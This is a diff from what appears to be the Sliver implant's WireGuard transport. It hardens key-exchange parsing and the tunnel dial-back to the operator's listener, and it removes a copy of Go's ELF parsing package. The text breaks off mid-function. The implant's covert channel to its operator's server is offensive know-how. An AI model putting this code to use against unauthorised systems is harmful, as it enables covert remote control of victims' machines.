||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Signaling wg device to go down")
|
||||
log.Printf("Closing temporary wg key exchange device")
|
||||
// {{end}}
|
||||
|
||||
// Close initial wireguard connection
|
||||
err = dev.Down()
|
||||
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to close device.Device: %s", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -309,7 +324,7 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
connection, err := tNet.Dial("tcp", fmt.Sprintf("%s:%d", serverTunIP, wgTcpCommsPort))
|
||||
connection, err := dialDevice(tNet, dev, "tcp", fmt.Sprintf("%s:%d", serverTunIP, wgTcpCommsPort))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Unable to connect to sliver listener: %v", err)
|
||||
@@ -326,6 +341,15 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
|
||||
return connection, dev, nil
|
||||
}
|
||||
|
||||
func dialDevice(dialer netDialer, dev permanentDevice, network string, address string) (net.Conn, error) {
|
||||
connection, err := dialer.Dial(network, address)
|
||||
if err != nil {
|
||||
dev.Close()
|
||||
return nil, err
|
||||
}
|
||||
return connection, nil
|
||||
}
|
||||
|
||||
// bringUpWGInterface - First creates an inet.af network stack.
|
||||
// then creates a Wireguard device/interface and applies configuration
|
||||
func bringUpWGInterface(address string, port uint16, implantPrivKey string, serverPubKey string, netstackTunIP string) (tun.Device, *device.Device, *netstack.Net, error) {
|
||||
@@ -342,6 +366,7 @@ func bringUpWGInterface(address string, port uint16, implantPrivKey string, serv
|
||||
// {{if .Config.Debug}}
|
||||
log.Panic(err)
|
||||
// {{end}}
|
||||
return nil, nil, nil, err
|
||||
}
|
||||
|
||||
wgLogLevel := device.LogLevelSilent
|
||||
@@ -349,7 +374,7 @@ func bringUpWGInterface(address string, port uint16, implantPrivKey string, serv
|
||||
wgLogLevel = device.LogLevelVerbose
|
||||
// {{end}}
|
||||
|
||||
dev := device.NewDevice(tun, conn.NewDefaultBind(), device.NewLogger(wgLogLevel, "[c2/wg] "))
|
||||
dev := device.NewDevice(tun, newWGUDPBind(), device.NewLogger(wgLogLevel, "[c2/wg] "))
|
||||
wgConf := bytes.NewBuffer(nil)
|
||||
fmt.Fprintf(wgConf, "private_key=%s\n", implantPrivKey)
|
||||
fmt.Fprintf(wgConf, "public_key=%s\n", serverPubKey)
|
||||
@@ -360,7 +385,7 @@ func bringUpWGInterface(address string, port uint16, implantPrivKey string, serv
|
||||
log.Printf("Configuring wg device with: %s", wgConf.String())
|
||||
// {{end}}
|
||||
|
||||
if err := dev.IpcSetOperation(bufio.NewReader(wgConf)); err != nil {
|
||||
if err := configureDevice(dev, bufio.NewReader(wgConf)); err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to set wg device config: %s", err)
|
||||
// {{end}}
|
||||
@@ -373,29 +398,53 @@ func bringUpWGInterface(address string, port uint16, implantPrivKey string, serv
|
||||
return tun, dev, tNet, nil
|
||||
}
|
||||
|
||||
func configureDevice(dev deviceConfigurator, config io.Reader) error {
|
||||
if err := dev.IpcSetOperation(config); err != nil {
|
||||
dev.Close()
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// doKeyExchange - Connect to key exchange listener and retrieve new dynamic wg keys
|
||||
func doKeyExchange(conn net.Conn) (string, string, string) {
|
||||
func doKeyExchange(conn net.Conn) (string, string, string, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Connected to key exchange listener")
|
||||
// {{end}}
|
||||
defer conn.Close()
|
||||
|
||||
// 129 = 64 byte key + 1 byte delimiter + 64 byte key + 1 byte delimiter + 16 byte ip address
|
||||
buff := make([]byte, 146)
|
||||
buffReader := bufio.NewReader(conn)
|
||||
|
||||
_, err := io.ReadFull(buffReader, buff)
|
||||
const maxMessageSize = 256
|
||||
buff, err := io.ReadAll(io.LimitReader(conn, maxMessageSize+1))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to read wg keys from key exchange listener: %s", err)
|
||||
// {{end}}
|
||||
return "", "", "", fmt.Errorf("read WireGuard key exchange response: %w", err)
|
||||
}
|
||||
if len(buff) > maxMessageSize {
|
||||
return "", "", "", errors.New("WireGuard key exchange response exceeds maximum length")
|
||||
}
|
||||
|
||||
stringSlice := strings.Split(string(buff), "|")
|
||||
if len(stringSlice) != 3 {
|
||||
return "", "", "", fmt.Errorf("invalid WireGuard key exchange response: got %d fields", len(stringSlice))
|
||||
}
|
||||
for index, key := range stringSlice[:2] {
|
||||
if len(key) != 64 {
|
||||
return "", "", "", fmt.Errorf("invalid WireGuard key exchange key %d length", index+1)
|
||||
}
|
||||
if _, err := hex.DecodeString(key); err != nil {
|
||||
return "", "", "", fmt.Errorf("invalid WireGuard key exchange key %d encoding", index+1)
|
||||
}
|
||||
}
|
||||
tunIP, err := netip.ParseAddr(stringSlice[2])
|
||||
if err != nil || !tunIP.Is4() {
|
||||
return "", "", "", fmt.Errorf("invalid WireGuard key exchange tunnel IP %q", stringSlice[2])
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Retrieved new keys, priv:%s, pub:%s, ip:%s", stringSlice[0], stringSlice[1], net.IP(stringSlice[2]).String())
|
||||
log.Printf("Retrieved new WireGuard session keys for tunnel IP %s", tunIP.String())
|
||||
// {{end}}
|
||||
return stringSlice[0], stringSlice[1], net.IP(stringSlice[2]).String()
|
||||
return stringSlice[0], stringSlice[1], tunIP.String(), nil
|
||||
}
|
||||
|
||||
func getWgKeyExchangePort() int {
|
||||
|
||||
-27
@@ -1,27 +0,0 @@
|
||||
Copyright (c) 2009 The Go Authors. All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are
|
||||
met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above
|
||||
copyright notice, this list of conditions and the following disclaimer
|
||||
in the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
* Neither the name of Google Inc. nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
-3000
File diff suppressed because it is too large.
Load diff
-32
@@ -1,32 +0,0 @@
|
||||
package elf
|
||||
|
||||
/*
|
||||
Any symbol in the dynamic symbol table (in .dynsym) for which .st_shndx == SHN_UNDEF
|
||||
(references undefined section) is an import, and every other symbol is defined and exported.
|
||||
*/
|
||||
|
||||
// Export - describes a single export entry
|
||||
type Export struct {
|
||||
Name string
|
||||
VirtualAddress uint64
|
||||
}
|
||||
|
||||
// Exports - gets exports
|
||||
func (f *File) Exports() ([]Export, error) {
|
||||
|
||||
var exports []Export
|
||||
symbols, err := f.DynamicSymbols()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, s := range symbols {
|
||||
if s.Section != SHN_UNDEF {
|
||||
exports = append(exports, Export{
|
||||
Name: s.Name,
|
||||
VirtualAddress: s.Value,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return exports, nil
|
||||
}
|
||||
-964
@@ -1,964 +0,0 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package elf implements access to ELF object files.
|
||||
package elf
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/zlib"
|
||||
"debug/dwarf"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// seekStart, seekCurrent, seekEnd are copies of
|
||||
// io.SeekStart, io.SeekCurrent, and io.SeekEnd.
|
||||
// We can't use the ones from package io because
|
||||
// we want this code to build with Go 1.4 during
|
||||
// cmd/dist bootstrap.
|
||||
const (
|
||||
seekStart int = 0
|
||||
seekCurrent int = 1
|
||||
seekEnd int = 2
|
||||
)
|
||||
|
||||
// TODO: error reporting detail
|
||||
|
||||
/*
|
||||
* Internal ELF representation
|
||||
*/
|
||||
|
||||
// A FileHeader represents an ELF file header.
|
||||
type FileHeader struct {
|
||||
Class Class
|
||||
Data Data
|
||||
Version Version
|
||||
OSABI OSABI
|
||||
ABIVersion uint8
|
||||
ByteOrder binary.ByteOrder
|
||||
Type Type
|
||||
Machine Machine
|
||||
Entry uint64
|
||||
SHTOffset int64
|
||||
ShStrIndex int
|
||||
}
|
||||
|
||||
// A File represents an open ELF file.
|
||||
type File struct {
|
||||
FileHeader
|
||||
Sections []*Section
|
||||
Progs []*Prog
|
||||
closer io.Closer
|
||||
gnuNeed []verneed
|
||||
gnuVersym []byte
|
||||
Insertion []byte
|
||||
InsertionEOF []byte
|
||||
|
||||
DynTags []DynTagValue
|
||||
}
|
||||
|
||||
// A SectionHeader represents a single ELF section header.
|
||||
type SectionHeader struct {
|
||||
Name string
|
||||
Type SectionType
|
||||
Flags SectionFlag
|
||||
Addr uint64
|
||||
Offset uint64
|
||||
Size uint64
|
||||
Link uint32
|
||||
Info uint32
|
||||
Addralign uint64
|
||||
Entsize uint64
|
||||
|
||||
Shnum int // Section Header Number
|
||||
Shname uint32 // Section Header Name (index)
|
||||
|
||||
// FileSize is the size of this section in the file in bytes.
|
||||
// If a section is compressed, FileSize is the size of the
|
||||
// compressed data, while Size (above) is the size of the
|
||||
// uncompressed data.
|
||||
FileSize uint64
|
||||
}
|
||||
|
||||
// A Section represents a single section in an ELF file.
|
||||
type Section struct {
|
||||
SectionHeader
|
||||
|
||||
// Embed ReaderAt for ReadAt method.
|
||||
// Do not embed SectionReader directly
|
||||
// to avoid having Read and Seek.
|
||||
// If a client wants Read and Seek it must use
|
||||
// Open() to avoid fighting over the seek offset
|
||||
// with other clients.
|
||||
//
|
||||
// ReaderAt may be nil if the section is not easily available
|
||||
// in a random-access form. For example, a compressed section
|
||||
// may have a nil ReaderAt.
|
||||
io.ReaderAt
|
||||
sr *io.SectionReader
|
||||
|
||||
compressionType CompressionType
|
||||
compressionOffset int64
|
||||
}
|
||||
|
||||
// Data reads and returns the contents of the ELF section.
|
||||
// Even if the section is stored compressed in the ELF file,
|
||||
// Data returns uncompressed data.
|
||||
func (s *Section) Data() ([]byte, error) {
|
||||
dat := make([]byte, s.Size)
|
||||
n, err := io.ReadFull(s.Open(), dat)
|
||||
return dat[0:n], err
|
||||
}
|
||||
|
||||
// stringTable reads and returns the string table given by the
|
||||
// specified link value.
|
||||
func (f *File) stringTable(link uint32) ([]byte, error) {
|
||||
if link <= 0 || link >= uint32(len(f.Sections)) {
|
||||
return nil, errors.New("section has invalid string table link")
|
||||
}
|
||||
return f.Sections[link].Data()
|
||||
}
|
||||
|
||||
// Open returns a new ReadSeeker reading the ELF section.
|
||||
// Even if the section is stored compressed in the ELF file,
|
||||
// the ReadSeeker reads uncompressed data.
|
||||
func (s *Section) Open() io.ReadSeeker {
|
||||
if s.Flags&SHF_COMPRESSED == 0 {
|
||||
return io.NewSectionReader(s.sr, 0, 1<<63-1)
|
||||
}
|
||||
if s.compressionType == COMPRESS_ZLIB {
|
||||
return &readSeekerFromReader{
|
||||
reset: func() (io.Reader, error) {
|
||||
fr := io.NewSectionReader(s.sr, s.compressionOffset, int64(s.FileSize)-s.compressionOffset)
|
||||
return zlib.NewReader(fr)
|
||||
},
|
||||
size: int64(s.Size),
|
||||
}
|
||||
}
|
||||
err := &FormatError{int64(s.Offset), "unknown compression type", s.compressionType}
|
||||
return errorReader{err}
|
||||
}
|
||||
|
||||
// A ProgHeader represents a single ELF program header.
|
||||
type ProgHeader struct {
|
||||
Type ProgType
|
||||
Flags ProgFlag
|
||||
Off uint64
|
||||
Vaddr uint64
|
||||
Paddr uint64
|
||||
Filesz uint64
|
||||
Memsz uint64
|
||||
Align uint64
|
||||
}
|
||||
|
||||
// A Prog represents a single ELF program header in an ELF binary.
|
||||
type Prog struct {
|
||||
ProgHeader
|
||||
|
||||
// Embed ReaderAt for ReadAt method.
|
||||
// Do not embed SectionReader directly
|
||||
// to avoid having Read and Seek.
|
||||
// If a client wants Read and Seek it must use
|
||||
// Open() to avoid fighting over the seek offset
|
||||
// with other clients.
|
||||
io.ReaderAt
|
||||
sr *io.SectionReader
|
||||
}
|
||||
|
||||
// Open returns a new ReadSeeker reading the ELF program body.
|
||||
func (p *Prog) Open() io.ReadSeeker { return io.NewSectionReader(p.sr, 0, 1<<63-1) }
|
||||
|
||||
// A Symbol represents an entry in an ELF symbol table section.
|
||||
type Symbol struct {
|
||||
Name string
|
||||
NameIndex uint32
|
||||
Info, Other byte
|
||||
Section SectionIndex
|
||||
SectIndex uint16
|
||||
Value, Size uint64
|
||||
}
|
||||
|
||||
// ToSym64 - Convert to a Sym64
|
||||
func (s Symbol) ToSym64() (retval Sym64) {
|
||||
|
||||
retval.Name = s.NameIndex
|
||||
retval.Info = s.Info
|
||||
retval.Other = s.Other
|
||||
retval.Shndx = s.SectIndex
|
||||
retval.Value = s.Value
|
||||
retval.Size = s.Size
|
||||
return
|
||||
}
|
||||
|
||||
// ToSym32 - Convert to a Sym32
|
||||
func (s Symbol) ToSym32() (retval Sym32) {
|
||||
|
||||
retval.Name = s.NameIndex
|
||||
retval.Info = s.Info
|
||||
retval.Other = s.Other
|
||||
retval.Shndx = s.SectIndex
|
||||
retval.Value = uint32(s.Value)
|
||||
retval.Size = uint32(s.Size)
|
||||
return
|
||||
}
|
||||
|
||||
/*
|
||||
* ELF reader
|
||||
*/
|
||||
|
||||
type FormatError struct {
|
||||
off int64
|
||||
msg string
|
||||
val interface{}
|
||||
}
|
||||
|
||||
func (e *FormatError) Error() string {
|
||||
msg := e.msg
|
||||
if e.val != nil {
|
||||
msg += fmt.Sprintf(" '%v' ", e.val)
|
||||
}
|
||||
msg += fmt.Sprintf("in record at byte %#x", e.off)
|
||||
return msg
|
||||
}
|
||||
|
||||
// Open opens the named file using os.Open and prepares it for use as an ELF binary.
|
||||
func Open(name string) (*File, error) {
|
||||
f, err := os.Open(name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ff, err := NewFile(f)
|
||||
if err != nil {
|
||||
f.Close()
|
||||
return nil, err
|
||||
}
|
||||
ff.closer = f
|
||||
return ff, nil
|
||||
}
|
||||
|
||||
// Close closes the File.
|
||||
// If the File was created using NewFile directly instead of Open,
|
||||
// Close has no effect.
|
||||
func (f *File) Close() error {
|
||||
var err error
|
||||
if f.closer != nil {
|
||||
err = f.closer.Close()
|
||||
f.closer = nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
// SectionByType returns the first section in f with the
|
||||
// given type, or nil if there is no such section.
|
||||
func (f *File) SectionByType(typ SectionType) *Section {
|
||||
for _, s := range f.Sections {
|
||||
if s.Type == typ {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// SectionByName returns the first section in f with the
|
||||
// given name, or nil if there is no such section.
|
||||
func (f *File) SectionByName(name string) *Section {
|
||||
for _, s := range f.Sections {
|
||||
if s.Name == name {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// NewFile creates a new File for accessing an ELF binary in an underlying reader.
|
||||
// The ELF binary is expected to start at position 0 in the ReaderAt.
|
||||
func NewFile(r io.ReaderAt) (*File, error) {
|
||||
sr := io.NewSectionReader(r, 0, 1<<63-1)
|
||||
// Read and decode ELF identifier
|
||||
var ident [16]uint8
|
||||
if _, err := r.ReadAt(ident[0:], 0); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if ident[0] != '\x7f' || ident[1] != 'E' || ident[2] != 'L' || ident[3] != 'F' {
|
||||
return nil, &FormatError{0, "bad magic number", ident[0:4]}
|
||||
}
|
||||
|
||||
f := new(File)
|
||||
f.Class = Class(ident[EI_CLASS])
|
||||
switch f.Class {
|
||||
case ELFCLASS32:
|
||||
case ELFCLASS64:
|
||||
// ok
|
||||
default:
|
||||
return nil, &FormatError{0, "unknown ELF class", f.Class}
|
||||
}
|
||||
|
||||
f.Data = Data(ident[EI_DATA])
|
||||
switch f.Data {
|
||||
case ELFDATA2LSB:
|
||||
f.ByteOrder = binary.LittleEndian
|
||||
case ELFDATA2MSB:
|
||||
f.ByteOrder = binary.BigEndian
|
||||
default:
|
||||
return nil, &FormatError{0, "unknown ELF data encoding", f.Data}
|
||||
}
|
||||
|
||||
f.Version = Version(ident[EI_VERSION])
|
||||
if f.Version != EV_CURRENT {
|
||||
return nil, &FormatError{0, "unknown ELF version", f.Version}
|
||||
}
|
||||
|
||||
f.OSABI = OSABI(ident[EI_OSABI])
|
||||
f.ABIVersion = ident[EI_ABIVERSION]
|
||||
|
||||
// Read ELF file header
|
||||
var phoff int64
|
||||
var phentsize, phnum int
|
||||
var shentsize, shnum int
|
||||
f.ShStrIndex = -1
|
||||
switch f.Class {
|
||||
case ELFCLASS32:
|
||||
hdr := new(Header32)
|
||||
sr.Seek(0, seekStart)
|
||||
if err := binary.Read(sr, f.ByteOrder, hdr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.Type = Type(hdr.Type)
|
||||
f.Machine = Machine(hdr.Machine)
|
||||
f.Entry = uint64(hdr.Entry)
|
||||
if v := Version(hdr.Version); v != f.Version {
|
||||
return nil, &FormatError{0, "mismatched ELF version", v}
|
||||
}
|
||||
phoff = int64(hdr.Phoff)
|
||||
phentsize = int(hdr.Phentsize)
|
||||
phnum = int(hdr.Phnum)
|
||||
f.SHTOffset = int64(hdr.Shoff)
|
||||
shentsize = int(hdr.Shentsize)
|
||||
shnum = int(hdr.Shnum)
|
||||
f.ShStrIndex = int(hdr.Shstrndx)
|
||||
case ELFCLASS64:
|
||||
hdr := new(Header64)
|
||||
sr.Seek(0, seekStart)
|
||||
if err := binary.Read(sr, f.ByteOrder, hdr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.Type = Type(hdr.Type)
|
||||
f.Machine = Machine(hdr.Machine)
|
||||
f.Entry = hdr.Entry
|
||||
if v := Version(hdr.Version); v != f.Version {
|
||||
return nil, &FormatError{0, "mismatched ELF version", v}
|
||||
}
|
||||
phoff = int64(hdr.Phoff)
|
||||
phentsize = int(hdr.Phentsize)
|
||||
phnum = int(hdr.Phnum)
|
||||
f.SHTOffset = int64(hdr.Shoff)
|
||||
shentsize = int(hdr.Shentsize)
|
||||
shnum = int(hdr.Shnum)
|
||||
f.ShStrIndex = int(hdr.Shstrndx)
|
||||
}
|
||||
|
||||
if shnum > 0 && f.SHTOffset > 0 && (f.ShStrIndex < 0 || f.ShStrIndex >= shnum) {
|
||||
return nil, &FormatError{0, "invalid ELF shstrndx", f.ShStrIndex}
|
||||
}
|
||||
|
||||
// Read program headers
|
||||
f.Progs = make([]*Prog, phnum)
|
||||
for i := 0; i < phnum; i++ {
|
||||
off := phoff + int64(i)*int64(phentsize)
|
||||
sr.Seek(off, seekStart)
|
||||
p := new(Prog)
|
||||
switch f.Class {
|
||||
case ELFCLASS32:
|
||||
ph := new(Prog32)
|
||||
if err := binary.Read(sr, f.ByteOrder, ph); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
p.ProgHeader = ProgHeader{
|
||||
Type: ProgType(ph.Type),
|
||||
Flags: ProgFlag(ph.Flags),
|
||||
Off: uint64(ph.Off),
|
||||
Vaddr: uint64(ph.Vaddr),
|
||||
Paddr: uint64(ph.Paddr),
|
||||
Filesz: uint64(ph.Filesz),
|
||||
Memsz: uint64(ph.Memsz),
|
||||
Align: uint64(ph.Align),
|
||||
}
|
||||
case ELFCLASS64:
|
||||
ph := new(Prog64)
|
||||
if err := binary.Read(sr, f.ByteOrder, ph); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
p.ProgHeader = ProgHeader{
|
||||
Type: ProgType(ph.Type),
|
||||
Flags: ProgFlag(ph.Flags),
|
||||
Off: ph.Off,
|
||||
Vaddr: ph.Vaddr,
|
||||
Paddr: ph.Paddr,
|
||||
Filesz: ph.Filesz,
|
||||
Memsz: ph.Memsz,
|
||||
Align: ph.Align,
|
||||
}
|
||||
}
|
||||
p.sr = io.NewSectionReader(r, int64(p.Off), int64(p.Filesz))
|
||||
p.ReaderAt = p.sr
|
||||
f.Progs[i] = p
|
||||
}
|
||||
|
||||
// Read section headers
|
||||
f.Sections = make([]*Section, shnum)
|
||||
names := make([]uint32, shnum)
|
||||
for i := 0; i < shnum; i++ {
|
||||
off := f.SHTOffset + int64(i)*int64(shentsize)
|
||||
sr.Seek(off, seekStart)
|
||||
s := new(Section)
|
||||
switch f.Class {
|
||||
case ELFCLASS32:
|
||||
sh := new(Section32)
|
||||
if err := binary.Read(sr, f.ByteOrder, sh); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
names[i] = sh.Name
|
||||
s.SectionHeader = SectionHeader{
|
||||
Type: SectionType(sh.Type),
|
||||
Flags: SectionFlag(sh.Flags),
|
||||
Addr: uint64(sh.Addr),
|
||||
Offset: uint64(sh.Off),
|
||||
FileSize: uint64(sh.Size),
|
||||
Link: sh.Link,
|
||||
Info: sh.Info,
|
||||
Addralign: uint64(sh.Addralign),
|
||||
Entsize: uint64(sh.Entsize),
|
||||
Shnum: i,
|
||||
Shname: sh.Name,
|
||||
}
|
||||
|
||||
case ELFCLASS64:
|
||||
sh := new(Section64)
|
||||
if err := binary.Read(sr, f.ByteOrder, sh); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
names[i] = sh.Name
|
||||
s.SectionHeader = SectionHeader{
|
||||
Type: SectionType(sh.Type),
|
||||
Flags: SectionFlag(sh.Flags),
|
||||
Offset: sh.Off,
|
||||
FileSize: sh.Size,
|
||||
Addr: sh.Addr,
|
||||
Link: sh.Link,
|
||||
Info: sh.Info,
|
||||
Addralign: sh.Addralign,
|
||||
Entsize: sh.Entsize,
|
||||
Shnum: i,
|
||||
Shname: sh.Name,
|
||||
}
|
||||
}
|
||||
s.sr = io.NewSectionReader(r, int64(s.Offset), int64(s.FileSize))
|
||||
|
||||
if s.Flags&SHF_COMPRESSED == 0 {
|
||||
s.ReaderAt = s.sr
|
||||
s.Size = s.FileSize
|
||||
} else {
|
||||
// Read the compression header.
|
||||
switch f.Class {
|
||||
case ELFCLASS32:
|
||||
ch := new(Chdr32)
|
||||
if err := binary.Read(s.sr, f.ByteOrder, ch); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s.compressionType = CompressionType(ch.Type)
|
||||
s.Size = uint64(ch.Size)
|
||||
s.Addralign = uint64(ch.Addralign)
|
||||
s.compressionOffset = int64(binary.Size(ch))
|
||||
case ELFCLASS64:
|
||||
ch := new(Chdr64)
|
||||
if err := binary.Read(s.sr, f.ByteOrder, ch); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s.compressionType = CompressionType(ch.Type)
|
||||
s.Size = ch.Size
|
||||
s.Addralign = ch.Addralign
|
||||
s.compressionOffset = int64(binary.Size(ch))
|
||||
}
|
||||
}
|
||||
|
||||
f.Sections[i] = s
|
||||
}
|
||||
|
||||
if err := f.parseDynTags(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if len(f.Sections) == 0 {
|
||||
return f, nil
|
||||
}
|
||||
|
||||
// Load section header string table.
|
||||
shstrtab, err := f.Sections[f.ShStrIndex].Data()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for i, s := range f.Sections {
|
||||
var ok bool
|
||||
s.Name, ok = getString(shstrtab, int(names[i]))
|
||||
if !ok {
|
||||
return nil, &FormatError{f.SHTOffset + int64(i*shentsize), "bad section name index", names[i]}
|
||||
}
|
||||
}
|
||||
|
||||
return f, nil
|
||||
}
|
||||
|
||||
// getSymbols returns a slice of Symbols from parsing the symbol table
|
||||
// with the given type, along with the associated string table.
|
||||
func (f *File) getSymbols(typ SectionType) ([]Symbol, []byte, error) {
|
||||
switch f.Class {
|
||||
case ELFCLASS64:
|
||||
return f.getSymbols64(typ)
|
||||
|
||||
case ELFCLASS32:
|
||||
return f.getSymbols32(typ)
|
||||
}
|
||||
|
||||
return nil, nil, errors.New("not implemented")
|
||||
}
|
||||
|
||||
// ErrNoSymbols is returned by File.Symbols and File.DynamicSymbols
|
||||
// if there is no such section in the File.
|
||||
var ErrNoSymbols = errors.New("no symbol section")
|
||||
|
||||
func (f *File) getSymbols32(typ SectionType) ([]Symbol, []byte, error) {
|
||||
symtabSection := f.SectionByType(typ)
|
||||
if symtabSection == nil {
|
||||
return nil, nil, ErrNoSymbols
|
||||
}
|
||||
|
||||
data, err := symtabSection.Data()
|
||||
if err != nil {
|
||||
return nil, nil, errors.New("cannot load symbol section")
|
||||
}
|
||||
symtab := bytes.NewReader(data)
|
||||
if symtab.Len()%Sym32Size != 0 {
|
||||
return nil, nil, errors.New("length of symbol section is not a multiple of SymSize")
|
||||
}
|
||||
|
||||
strdata, err := f.stringTable(symtabSection.Link)
|
||||
if err != nil {
|
||||
return nil, nil, errors.New("cannot load string table section")
|
||||
}
|
||||
|
||||
// The first entry is all zeros.
|
||||
var skip [Sym32Size]byte
|
||||
symtab.Read(skip[:])
|
||||
|
||||
symbols := make([]Symbol, symtab.Len()/Sym32Size)
|
||||
|
||||
i := 0
|
||||
var sym Sym32
|
||||
for symtab.Len() > 0 {
|
||||
binary.Read(symtab, f.ByteOrder, &sym)
|
||||
str, _ := getString(strdata, int(sym.Name))
|
||||
symbols[i].Name = str
|
||||
symbols[i].Info = sym.Info
|
||||
symbols[i].Other = sym.Other
|
||||
symbols[i].Section = SectionIndex(sym.Shndx)
|
||||
symbols[i].Value = uint64(sym.Value)
|
||||
symbols[i].Size = uint64(sym.Size)
|
||||
i++
|
||||
}
|
||||
|
||||
return symbols, strdata, nil
|
||||
}
|
||||
|
||||
func (f *File) getSymbols64(typ SectionType) ([]Symbol, []byte, error) {
|
||||
symtabSection := f.SectionByType(typ)
|
||||
if symtabSection == nil {
|
||||
return nil, nil, ErrNoSymbols
|
||||
}
|
||||
|
||||
data, err := symtabSection.Data()
|
||||
if err != nil {
|
||||
return nil, nil, errors.New("cannot load symbol section")
|
||||
}
|
||||
symtab := bytes.NewReader(data)
|
||||
if symtab.Len()%Sym64Size != 0 {
|
||||
return nil, nil, errors.New("length of symbol section is not a multiple of Sym64Size")
|
||||
}
|
||||
|
||||
strdata, err := f.stringTable(symtabSection.Link)
|
||||
if err != nil {
|
||||
return nil, nil, errors.New("cannot load string table section")
|
||||
}
|
||||
|
||||
// The first entry is all zeros.
|
||||
var skip [Sym64Size]byte
|
||||
symtab.Read(skip[:])
|
||||
|
||||
symbols := make([]Symbol, symtab.Len()/Sym64Size)
|
||||
|
||||
i := 0
|
||||
var sym Sym64
|
||||
for symtab.Len() > 0 {
|
||||
binary.Read(symtab, f.ByteOrder, &sym)
|
||||
str, _ := getString(strdata, int(sym.Name))
|
||||
symbols[i].Name = str
|
||||
symbols[i].NameIndex = sym.Name
|
||||
symbols[i].Info = sym.Info
|
||||
symbols[i].Other = sym.Other
|
||||
symbols[i].Section = SectionIndex(sym.Shndx)
|
||||
symbols[i].SectIndex = sym.Shndx
|
||||
symbols[i].Value = sym.Value
|
||||
symbols[i].Size = sym.Size
|
||||
i++
|
||||
}
|
||||
|
||||
return symbols, strdata, nil
|
||||
}
|
||||
|
||||
// getString extracts a string from an ELF string table.
|
||||
func getString(section []byte, start int) (string, bool) {
|
||||
if start < 0 || start >= len(section) {
|
||||
return "", false
|
||||
}
|
||||
|
||||
for end := start; end < len(section); end++ {
|
||||
if section[end] == 0 {
|
||||
return string(section[start:end]), true
|
||||
}
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
// Section returns a section with the given name, or nil if no such
|
||||
// section exists.
|
||||
func (f *File) Section(name string) *Section {
|
||||
for _, s := range f.Sections {
|
||||
if s.Name == name {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// DWARF - No idea what this does
|
||||
func (f *File) DWARF() (*dwarf.Data, error) {
|
||||
dwarfSuffix := func(s *Section) string {
|
||||
switch {
|
||||
case strings.HasPrefix(s.Name, ".debug_"):
|
||||
return s.Name[7:]
|
||||
case strings.HasPrefix(s.Name, ".zdebug_"):
|
||||
return s.Name[8:]
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
|
||||
}
|
||||
// sectionData gets the data for s, checks its size, and
